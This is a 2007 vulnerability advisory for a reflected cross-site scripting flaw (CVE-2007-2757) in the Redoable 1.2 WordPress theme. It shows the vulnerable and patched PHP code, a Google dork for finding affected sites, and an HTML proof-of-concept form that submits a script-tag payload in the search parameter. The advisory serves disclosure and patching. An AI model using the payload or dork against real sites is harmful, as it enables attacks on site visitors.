Redoable 1.2 Cross-Site Scripting Vulnerability (patch included)

2007.05.22

Credit: John Martinelli

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2007-2757

CWE: CWE-Other

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

note to editors: this patch resolves this vulnerability: http://redlevel.org/wp-content/uploads/patch.zip
<!--
Redoable 1.2 - Cross-Site Scripting Vulnerability
---------------
Vulnerable Code
---------------
header.php (line 6):
... elseif (is_search()) { ?> Search for <?php echo $s } ...
searchloop.php (line 24):
elseif (is_search()) { printf(__('Search Results for '%s'','redo_domain'), $s); }
------------
Patched Code
------------
header.php (line 6 FIXED):
... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ...
searchloop.php (line 24 FIXED):
elseif (is_search()) { printf(__('Search Results for '%s'','redo_domain'), strip_tags($s)); }
Vulnerable Variable: s
Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php
Vulnerable: Redoable 1.2 (other versions should also be vulnerable)
Google d0rk: "and Redoable 1.2"
John Martinelli
john (at) martinelli (dot) com [email concealed]
RedLevel Security
http://www.RedLevel.org
May 17th, 2007
!-->
<html>
<head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body>
<center><br><br>
<font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br>
<font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel
Security</a><br><br>
Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a>
</font><br><br><br>
<center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br>
<form action="http://www.target.com/index.php" method="get">
<input size=75 name="s" value="</title><script>alert(1)</script>">
<input type=submit value="Execute XSS Attack" class="button">
</form>
<br><br><br>
</form>
</body></html>

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Redoable 1.2 Cross-Site Scripting Vulnerability (patch included)

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